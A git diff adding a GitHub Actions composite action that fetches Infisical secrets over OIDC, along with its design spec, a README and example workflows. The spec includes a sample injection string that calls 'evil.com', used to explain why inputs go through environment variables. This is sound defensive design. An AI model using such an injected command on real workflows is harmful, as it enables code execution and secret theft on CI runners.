diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..8b2ff37 --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +/docs/superpowers/plans/ diff --git a/docs/superpowers/specs/2026-03-25-get-infisical-secrets-design.md b/docs/superpowers/specs/2026-03-25-get-infisical-secrets-design.md new file mode 100644 index 0000000..2e90e3c --- /dev/null +++ b/docs/superpowers/specs/2026-03-25-get-infisical-secrets-design.md @@ -0,0 +1,198 @@ +# Get Infisical Secrets — Composite Action Design + +## Summary + +A self-contained GitHub Actions composite action that authenticates to Infisical via GitHub OIDC and exports secrets as environment variables or a `.env` file. No external action dependencies — only `curl`, `jq`, and `openssl`. + +## Motivation + +- The existing `Infisical/secrets-action@v1.0.15` is outdated and at risk of breaking +- Nethermind has multiple teams, each with their own Infisical machine identity +- Need a centralized, maintainable action in `NethermindEth/github-workflows` that all repos can use + +## Inputs + +| Input | Required | Default | Description | +|---|---|---|---| +| `identity-id` | yes | — | Infisical machine identity ID for OIDC auth | +| `project-id` | yes | — | Infisical project ID | +| `env-slug` | yes | — | Environment slug (`dev`, `staging`, `prod`) | +| `export-type` | no | `env` | `env` (env vars) or `file` (.env file) | +| `file-path` | no | `.env` | Output file path relative to `$GITHUB_WORKSPACE` (only used when `export-type` is `file`) | +| `domain` | no | `https://app.infisical.com` | Infisical instance URL | +| `secret-path` | no | — | Override the secret path (default derives from repo name as `/github/workflows/`) | + +## Secret Path Convention + +The secret path defaults to `/github/workflows/`, derived from `GITHUB_REPOSITORY`: + +```bash +REPO_NAME="${GITHUB_REPOSITORY##*/}" +SECRET_PATH="/github/workflows/${REPO_NAME}" +``` + +For example, repo `NethermindEth/nethermind-node` fetches secrets from `/github/workflows/nethermind-node`. + +Can be overridden with the `secret-path` input for custom paths. + +## Authentication Flow + +1. **Get GitHub OIDC token** — `curl` to `$ACTIONS_ID_TOKEN_REQUEST_URL` with header `Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN`. GitHub generates the token with default audience `https://github.com/NethermindEth`. The response is JSON; extract the token from the `value` field. +2. **Authenticate with Infisical** — `POST /api/v1/auth/oidc-auth/login` with form-encoded body `identityId=&jwt=`. +3. **Receive bearer token** — Infisical returns JSON with `accessToken`. + +## Secret Retrieval + +4. **Fetch secrets** — `GET /api/v4/secrets` with: + - `Authorization: Bearer ` + - `projectId=` + - `environment=` + - `secretPath=` + - `includeImports=true` + - `expandSecretReferences=true` + +## Export + +5. **Mask all secret values** (both export modes): + - For each line of each secret value, print `::add-mask::` to stdout + - Multiline values (e.g., private keys) are masked line-by-line since `::add-mask::` only works with single-line values + - Note: GitHub silently ignores masking for values shorter than 4 characters + +6. **If `export-type` is `env`** (default): + - Write each secret to `$GITHUB_ENV` using heredoc delimiter format to handle multiline values: + ``` + KEY< + value + GHEOF_ + ``` + +7. **If `export-type` is `file`**: + - Write secrets to `$GITHUB_WORKSPACE/` + - Use double-quoted values with proper escaping (backslash `\`, double-quote `"`, dollar `$`, backtick `` ` ``, newlines) to handle special characters + +## Secret Processing Safety + +### Input injection prevention + +All `${{ inputs.* }}` expressions are passed via the step's `env:` block as `INPUT_*` environment variables, never inline in the `run:` block. The script references `${INPUT_IDENTITY_ID}`, `${INPUT_DOMAIN}`, etc. This prevents code injection — `${{ inputs.* }}` is substituted by GitHub before the shell runs, so a crafted input like `"; curl evil.com #` would execute as code if placed inline. Environment variables are safely expanded by the shell without code execution. + +### Value leakage prevention + +All secret parsing uses file-based I/O to prevent value leakage: +- `jq` reads directly from temp files, never via `echo` piping through shell variables +- `{ set +x; } 2>/dev/null` disables bash tracing before any secret processing. The redirect to `/dev/null` suppresses the `set +x` trace line itself, which bash would otherwise print as `+ set +x` +- Temp files use `mktemp -d` with `trap` cleanup on any exit +- No secret values pass through stdout at any point during parsing +- `::add-mask::` is applied line-by-line, not per-value, because GitHub's masking only works with single-line strings. Passing a multiline value (e.g., a private key) to `::add-mask::` causes all lines after the first to leak into the log as raw output + +### Why not `export-type: output`? + +We considered exporting secrets as step outputs (`$GITHUB_OUTPUT`) instead of environment variables (`$GITHUB_ENV`). Step outputs don't appear in the env var listings of subsequent steps, which would be cleaner from a security perspective. + +However, **composite actions cannot expose dynamic outputs**. Outputs must be declared statically in `action.yml`, and since we don't know the secret key names in advance, there's no way to declare them. The internal step writes to `$GITHUB_OUTPUT`, but those values are not accessible to the caller via `${{ steps..outputs. }}` unless the composite action declares each output explicitly. + +For this reason, the default export type is `env`. The values are masked (showing as `***` in env listings) but the key names are visible. + +## Import Handling + +Infisical supports secret imports (secrets inherited from other paths/projects). The API returns these in the `imports` array. Imported secrets are included but do **not** override direct secrets — direct secrets take precedence. + +## Error Handling + +The action fails fast with clear error messages: + +| Failure | Cause | Message | +|---|---|---| +| OIDC token request fails | Missing `id-token: write` permission, or `ACTIONS_ID_TOKEN_REQUEST_URL` not set | `Failed to get GitHub OIDC token. Ensure the job has 'permissions: id-token: write'.` | +| Infisical login returns 401/403 | Wrong identity ID or repo not allowed by OIDC binding | `Infisical authentication failed: ` | +| Secret fetch returns 404 | Wrong project ID, environment, or secret path | `Failed to fetch secrets: ` | +| Secret fetch returns empty | No secrets at the derived path | `No secrets found at path / in project , environment .` | +| `jq` parse error | Unexpected API response format | `Failed to parse Infisical API response.` | + +All API error responses include a `message` field — surface it in the action output. The action exits with code 1 on any failure. + +## Security + +### OIDC Authentication +- Infisical machine identity configured with `bound_audiences = ["https://github.com/NethermindEth"]` +- `bound_claims.repository` restricts to specific repos using comma-separated exact values (e.g., `NethermindEth/repo-a, NethermindEth/repo-b`) +- One machine identity per Infisical project, auto-generated from `github.repositories` in project YAML + +### Caller requirements +- Workflow must declare `permissions: id-token: write` for OIDC to work +- `identity-id` and `project-id` stored as GitHub repo secrets (set via Terraform or manually) + +### Infisical permissions +- Machine identity has read-only access to `/github/workflows/**` +- `/github/workflows_critical/**` is denied for global devops/developer roles +- Critical project folders scoped to their specific groups via workflow-level roles + +### Secret masking +- All secret values are masked line-by-line in GitHub Actions logs via `::add-mask::` +- Values shorter than 4 characters are silently ignored by GitHub (platform limitation) +- Multiline values (e.g., private keys) have each line masked individually + +## Dependencies + +- `curl` — pre-installed on all GitHub-hosted runners +- `jq` — pre-installed on all GitHub-hosted runners +- `openssl` — pre-installed on all GitHub-hosted runners (used for random delimiter generation) +- Common Unix utilities: `mktemp`, `grep`, `dirname`, `chmod` (assumed present on GitHub-hosted Ubuntu runners) +- No Node.js, no external GitHub Actions + +## Infrastructure Prerequisites + +- **Infisical**: Machine identity per project with OIDC auth, managed by `terraform-saas-infisical` module +- **GitHub**: `INFISICAL_IDENTITY_ID` and `INFISICAL_PROJECT_ID` repo secrets + +## Caller Usage + +```yaml +permissions: + id-token: write + contents: read + +steps: + - uses: NethermindEth/github-workflows/get_infisical_secrets@stable + with: + identity-id: ${{ secrets.INFISICAL_IDENTITY_ID }} + project-id: ${{ secrets.INFISICAL_PROJECT_ID }} + env-slug: dev + + - name: Use secrets + run: echo "Secrets are now available as env vars" +``` + +### Custom secret path + +```yaml +steps: + - uses: NethermindEth/github-workflows/get_infisical_secrets@stable + with: + identity-id: ${{ secrets.INFISICAL_IDENTITY_ID }} + project-id: ${{ secrets.INFISICAL_PROJECT_ID }} + env-slug: prod + secret-path: "/github/workflows/terragrunt" +``` + +### File export + +```yaml +steps: + - uses: NethermindEth/github-workflows/get_infisical_secrets@stable + with: + identity-id: ${{ secrets.INFISICAL_IDENTITY_ID }} + project-id: ${{ secrets.INFISICAL_PROJECT_ID }} + env-slug: dev + export-type: file + file-path: src/.env + + - name: Use secrets file + run: echo "Secrets file created at src/.env" # do not print file contents to logs +``` + +## File Location + +``` +get_infisical_secrets/action.yml +``` diff --git a/examples/infisical/README.md b/examples/infisical/README.md new file mode 100644 index 0000000..9b67d97 --- /dev/null +++ b/examples/infisical/README.md @@ -0,0 +1,35 @@ +# Infisical Secrets Examples + +Examples for using the `get_infisical_secrets` composite action to load secrets from Infisical +into your GitHub Actions workflows via OIDC authentication. + +## Prerequisites + +1. Your repository must have these secrets set: + - `INFISICAL_IDENTITY_ID` — the Infisical machine identity ID (managed by Terraform) + - `INFISICAL_PROJECT_ID` — the Infisical project ID (managed by Terraform) + +2. Your workflow must declare `permissions: id-token: write` for OIDC authentication. + +3. Your secrets must exist in Infisical at `/github/workflows/` (or a custom path). + +## Examples + +| Example | Description | +|---|---| +| [load-secrets-env.yml](load-secrets-env.yml) | Load secrets as environment variables (default) | +| [load-secrets-custom-path.yml](load-secrets-custom-path.yml) | Load secrets from a custom Infisical path | +| [load-secrets-file.yml](load-secrets-file.yml) | Write secrets to a `.env` file | +| [load-secrets-multiple-envs.yml](load-secrets-multiple-envs.yml) | Load different secrets per branch/environment | + +## Inputs + +| Input | Required | Default | Description | +|---|---|---|---| +| `identity-id` | yes | — | Infisical machine identity ID | +| `project-id` | yes | — | Infisical project ID | +| `env-slug` | yes | — | Environment slug (`dev`, `staging`, `prod`) | +| `export-type` | no | `env` | `env` (environment variables) or `file` (.env file) | +| `file-path` | no | `.env` | Output file path (only for `export-type: file`) | +| `secret-path` | no | `/github/workflows/` | Override the secret path | +| `domain` | no | `https://app.infisical.com` | Infisical instance URL | diff --git a/examples/infisical/load-secrets-custom-path.yml b/examples/infisical/load-secrets-custom-path.yml new file mode 100644 index 0000000..07c1ab1 --- /dev/null +++ b/examples/infisical/load-secrets-custom-path.yml @@ -0,0 +1,27 @@ +name: Load secrets from a custom Infisical path + +on: + push: + branches: [main] + +permissions: + id-token: write + contents: read + +jobs: + deploy: + runs-on: ubuntu-latest + steps: + # Use secret-path to override the default path (/github/workflows/). + # Useful for shared secrets or CI/CD infrastructure secrets. + - name: Load shared CI secrets + uses: NethermindEth/github-workflows/get_infisical_secrets@stable + with: + identity-id: ${{ secrets.INFISICAL_IDENTITY_ID }} + project-id: ${{ secrets.INFISICAL_PROJECT_ID }} + env-slug: prod + secret-path: "/github/workflows/terragrunt" + + - name: Use secrets + run: | + echo "GH_APP_ID is set: ${GH_APP_ID:+yes}" diff --git a/examples/infisical/load-secrets-env.yml b/examples/infisical/load-secrets-env.yml new file mode 100644 index 0000000..cbc7e78 --- /dev/null +++ b/examples/infisical/load-secrets-env.yml @@ -0,0 +1,27 @@ +name: Load secrets from Infisical (env vars) + +on: + push: + branches: [main] + +permissions: + id-token: write + contents: read + +jobs: + deploy: + runs-on: ubuntu-latest + steps: + - name: Load secrets from Infisical + uses: NethermindEth/github-workflows/get_infisical_secrets@stable + with: + identity-id: ${{ secrets.INFISICAL_IDENTITY_ID }} + project-id: ${{ secrets.INFISICAL_PROJECT_ID }} + env-slug: prod + + # Secrets are now available as environment variables. + # The secret path defaults to /github/workflows/. + - name: Use secrets + run: | + echo "DB_HOST is set: ${DB_HOST:+yes}" + echo "API_KEY is set: ${API_KEY:+yes}" diff --git a/examples/infisical/load-secrets-file.yml b/examples/infisical/load-secrets-file.yml new file mode 100644 index 0000000..7a33b9c --- /dev/null +++ b/examples/infisical/load-secrets-file.yml @@ -0,0 +1,31 @@ +name: Load secrets from Infisical (.env file) + +on: + push: + branches: [main] + +permissions: + id-token: write + contents: read + +jobs: + deploy: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + # Write secrets to a .env file instead of environment variables. + # Useful for applications that read from .env files. + - name: Load secrets to .env file + uses: NethermindEth/github-workflows/get_infisical_secrets@stable + with: + identity-id: ${{ secrets.INFISICAL_IDENTITY_ID }} + project-id: ${{ secrets.INFISICAL_PROJECT_ID }} + env-slug: dev + export-type: file + file-path: .env + + - name: Run application + run: | + # Your app reads from .env + docker compose up -d diff --git a/examples/infisical/load-secrets-multiple-envs.yml b/examples/infisical/load-secrets-multiple-envs.yml new file mode 100644 index 0000000..96f376e --- /dev/null +++ b/examples/infisical/load-secrets-multiple-envs.yml @@ -0,0 +1,36 @@ +name: Load secrets from multiple Infisical environments + +on: + push: + branches: [main, staging] + +permissions: + id-token: write + contents: read + +jobs: + deploy: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + # Determine environment based on branch + - name: Set environment + id: env + run: | + if [[ "${{ github.ref }}" == "refs/heads/main" ]]; then + echo "slug=prod" >> "$GITHUB_OUTPUT" + else + echo "slug=staging" >> "$GITHUB_OUTPUT" + fi + + - name: Load secrets from Infisical + uses: NethermindEth/github-workflows/get_infisical_secrets@stable + with: + identity-id: ${{ secrets.INFISICAL_IDENTITY_ID }} + project-id: ${{ secrets.INFISICAL_PROJECT_ID }} + env-slug: ${{ steps.env.outputs.slug }} + + - name: Deploy + run: | + echo "Deploying to ${{ steps.env.outputs.slug }}" diff --git a/get_infisical_secrets/action.yml b/get_infisical_secrets/action.yml new file mode 100644 index 0000000..83e0594 --- /dev/null +++ b/get_infisical_secrets/action.yml @@ -0,0 +1,244 @@ +name: Get Infisical Secrets +description: Authenticate to Infisical via GitHub OIDC and export secrets as environment variables or a .env file. + +inputs: + identity-id: + description: Infisical machine identity ID for OIDC auth + required: true + project-id: + description: Infisical project ID + required: true + env-slug: + description: Environment slug (e.g., dev, staging, prod) + required: true + export-type: + description: "Export mode: 'env' sets environment variables, 'file' writes a .env file" + required: false + default: env + file-path: + description: Output file path relative to $GITHUB_WORKSPACE (only used when export-type is file) + required: false + default: .env + domain: + description: Infisical instance URL + required: false + default: https://app.infisical.com + secret-path: + description: Override the secret path (default derives from repo name as /github/workflows/) + required: false + default: "" + +runs: + using: composite + steps: + - name: Fetch Infisical secrets + shell: bash + env: + INPUT_IDENTITY_ID: ${{ inputs.identity-id }} + INPUT_PROJECT_ID: ${{ inputs.project-id }} + INPUT_ENV_SLUG: ${{ inputs.env-slug }} + INPUT_EXPORT_TYPE: ${{ inputs.export-type }} + INPUT_FILE_PATH: ${{ inputs.file-path }} + INPUT_DOMAIN: ${{ inputs.domain }} + INPUT_SECRET_PATH: ${{ inputs.secret-path }} + run: | + set -euo pipefail + + # --- Check required dependencies --- + for cmd in curl jq openssl; do + if ! command -v "${cmd}" &>/dev/null; then + echo "::error::Required command '${cmd}' not found. Ensure it is installed on the runner." + exit 1 + fi + done + + # --- Setup temp directory with cleanup trap --- + TMPDIR=$(mktemp -d) + trap 'rm -rf "${TMPDIR}"' EXIT + + # --- Validate export-type input --- + if [[ "${INPUT_EXPORT_TYPE}" != "env" && "${INPUT_EXPORT_TYPE}" != "file" ]]; then + echo "::error::Invalid export-type '${INPUT_EXPORT_TYPE}'. Must be 'env' or 'file'." + exit 1 + fi + + # --- Normalize domain (strip trailing slash) --- + DOMAIN="${INPUT_DOMAIN%/}" + + # --- Validate file-path (no traversal, no absolute paths) --- + if [[ "${INPUT_EXPORT_TYPE}" == "file" ]]; then + if [[ -z "${INPUT_FILE_PATH}" ]]; then + echo "::error::file-path must not be empty when export-type is 'file'." + exit 1 + fi + if [[ "${INPUT_FILE_PATH}" == /* ]]; then + echo "::error::file-path must be a relative path (no leading '/')." + exit 1 + fi + IFS='/' read -r -a PATH_PARTS <<< "${INPUT_FILE_PATH}" + for SEGMENT in "${PATH_PARTS[@]}"; do + if [[ "${SEGMENT}" == ".." ]]; then + echo "::error::file-path must not contain '..' segments." + exit 1 + fi + done + fi + + # --- Derive secret path from repo name or use override --- + if [[ -n "${INPUT_SECRET_PATH}" ]]; then + SECRET_PATH="${INPUT_SECRET_PATH}" + else + REPO_NAME="${GITHUB_REPOSITORY##*/}" + SECRET_PATH="/github/workflows/${REPO_NAME}" + fi + echo "Secret path: ${SECRET_PATH}" + + # --- Step 1: Get GitHub OIDC token --- + if [[ -z "${ACTIONS_ID_TOKEN_REQUEST_URL:-}" || -z "${ACTIONS_ID_TOKEN_REQUEST_TOKEN:-}" ]]; then + echo "::error::Failed to get GitHub OIDC token. Ensure the job has 'permissions: id-token: write'." + exit 1 + fi + + OIDC_HTTP_CODE=$(curl -s -o "${TMPDIR}/oidc_response" -w "%{http_code}" \ + -H "Authorization: bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}" \ + "${ACTIONS_ID_TOKEN_REQUEST_URL}") + + if [[ "${OIDC_HTTP_CODE}" -ne 200 ]]; then + echo "::error::Failed to get GitHub OIDC token (HTTP ${OIDC_HTTP_CODE}). Ensure the job has 'permissions: id-token: write'." + exit 1 + fi + + if ! OIDC_TOKEN=$(jq -er '.value' "${TMPDIR}/oidc_response" 2>/dev/null); then + echo "::error::Failed to parse GitHub OIDC token from response." + exit 1 + fi + + echo "GitHub OIDC token obtained successfully." + + # --- Step 2: Authenticate with Infisical --- + LOGIN_HTTP_CODE=$(curl -s -o "${TMPDIR}/login_response" -w "%{http_code}" \ + -X POST \ + "${DOMAIN}/api/v1/auth/oidc-auth/login" \ + -H "Content-Type: application/x-www-form-urlencoded" \ + --data-urlencode "identityId=${INPUT_IDENTITY_ID}" \ + --data-urlencode "jwt=${OIDC_TOKEN}") + + if [[ "${LOGIN_HTTP_CODE}" -ne 200 ]]; then + ERROR_MSG=$(jq -r '.message // "Unknown error"' "${TMPDIR}/login_response" 2>/dev/null || echo "HTTP ${LOGIN_HTTP_CODE}") + echo "::error::Infisical authentication failed: ${ERROR_MSG}" + exit 1 + fi + + if ! ACCESS_TOKEN=$(jq -er '.accessToken' "${TMPDIR}/login_response" 2>/dev/null); then + echo "::error::Infisical authentication failed: could not extract access token." + exit 1 + fi + + echo "Infisical authentication successful." + + # --- Step 3: Fetch secrets --- + SECRETS_HTTP_CODE=$(curl -s -o "${TMPDIR}/secrets_response" -w "%{http_code}" \ + -G \ + "${DOMAIN}/api/v4/secrets" \ + -H "Authorization: Bearer ${ACCESS_TOKEN}" \ + --data-urlencode "projectId=${INPUT_PROJECT_ID}" \ + --data-urlencode "environment=${INPUT_ENV_SLUG}" \ + --data-urlencode "secretPath=${SECRET_PATH}" \ + --data-urlencode "includeImports=true" \ + --data-urlencode "expandSecretReferences=true") + + if [[ "${SECRETS_HTTP_CODE}" -ne 200 ]]; then + ERROR_MSG=$(jq -r '.message // "Unknown error"' "${TMPDIR}/secrets_response" 2>/dev/null || echo "HTTP ${SECRETS_HTTP_CODE}") + echo "::error::Failed to fetch secrets: ${ERROR_MSG}" + exit 1 + fi + + # --- Step 4: Parse and export secrets --- + # All secret processing happens with file-based I/O to avoid any stdout leakage. + { set +x; } 2>/dev/null + + # Parse imported secrets + jq -r '[.imports // [] | reverse | .[].secrets[]? | {(.secretKey): .secretValue}] | add // {}' \ + "${TMPDIR}/secrets_response" > "${TMPDIR}/imported_secrets.json" 2>/dev/null || echo '{}' > "${TMPDIR}/imported_secrets.json" + + # Parse direct secrets + jq -r '[.secrets[]? | {(.secretKey): .secretValue}] | add // {}' \ + "${TMPDIR}/secrets_response" > "${TMPDIR}/direct_secrets.json" || { + echo "::error::Failed to parse Infisical API response." + exit 1 + } + + # Merge: imports as base, direct secrets override + jq -s '.[0] * .[1]' "${TMPDIR}/imported_secrets.json" "${TMPDIR}/direct_secrets.json" > "${TMPDIR}/all_secrets.json" || { + echo "::error::Failed to parse Infisical API response." + exit 1 + } + + SECRET_COUNT=$(jq 'length' "${TMPDIR}/all_secrets.json") + if [[ "${SECRET_COUNT}" -eq 0 ]]; then + echo "::error::No secrets found at path ${SECRET_PATH} in project ${INPUT_PROJECT_ID}, environment ${INPUT_ENV_SLUG}." + exit 1 + fi + + echo "Found ${SECRET_COUNT} secret(s)." + + # Validate secret key names (must be valid env var names) + INVALID_KEYS=() + while IFS= read -r SECRET_KEY; do + if [[ ! "${SECRET_KEY}" =~ ^[A-Za-z_][A-Za-z0-9_]*$ ]]; then + INVALID_KEYS+=("${SECRET_KEY}") + fi + done < <(jq -r 'to_entries[].key' "${TMPDIR}/all_secrets.json") + + if (( ${#INVALID_KEYS[@]} > 0 )); then + echo "::error::Secret key names must match [A-Za-z_][A-Za-z0-9_]* to be valid environment variables." + for BAD_KEY in "${INVALID_KEYS[@]}"; do + printf '::error::Invalid secret key: "%s"\n' "${BAD_KEY}" + done + exit 1 + fi + + # Mask each line of every secret value individually + # (::add-mask:: only works with single-line values) + # Escape % to prevent workflow command injection via %0A/%0D sequences + jq -r 'to_entries[].value' "${TMPDIR}/all_secrets.json" | while IFS= read -r MASK_LINE; do + if [[ -n "${MASK_LINE}" ]]; then + ESCAPED_MASK="${MASK_LINE//'%'/'%25'}" + ESCAPED_MASK="${ESCAPED_MASK//$'\r'/'%0D'}" + ESCAPED_MASK="${ESCAPED_MASK//$'\n'/'%0A'}" + echo "::add-mask::${ESCAPED_MASK}" + fi + done + + # --- Step 5: Export secrets --- + if [[ "${INPUT_EXPORT_TYPE}" == "file" ]]; then + FILE_PATH="${GITHUB_WORKSPACE}/${INPUT_FILE_PATH}" + mkdir -p "$(dirname "${FILE_PATH}")" + ( umask 077 && : > "${FILE_PATH}" ) + fi + + while IFS= read -r -d '' KEY && IFS= read -r -d '' VALUE; do + if [[ "${INPUT_EXPORT_TYPE}" == "env" ]]; then + # Generate a per-secret delimiter that doesn't appear in the value + while :; do + DELIM="GHEOF_$(openssl rand -hex 8)" + if ! grep -qxF "${DELIM}" <<< "${VALUE}"; then + break + fi + done + { + echo "${KEY}<<${DELIM}" + echo "${VALUE}" + echo "${DELIM}" + } >> "${GITHUB_ENV}" + elif [[ "${INPUT_EXPORT_TYPE}" == "file" ]]; then + ESCAPED_VALUE="${VALUE//\\/\\\\}" + ESCAPED_VALUE="${ESCAPED_VALUE//\"/\\\"}" + ESCAPED_VALUE="${ESCAPED_VALUE//\$/\\\$}" + ESCAPED_VALUE="${ESCAPED_VALUE//\`/\\\`}" + ESCAPED_VALUE="${ESCAPED_VALUE//$'\n'/\\n}" + echo "${KEY}=\"${ESCAPED_VALUE}\"" >> "${FILE_PATH}" + fi + done < <(jq -j 'to_entries[] | .key + "\u0000" + .value + "\u0000"' "${TMPDIR}/all_secrets.json") + + echo "Successfully exported ${SECRET_COUNT} secret(s) via ${INPUT_EXPORT_TYPE}."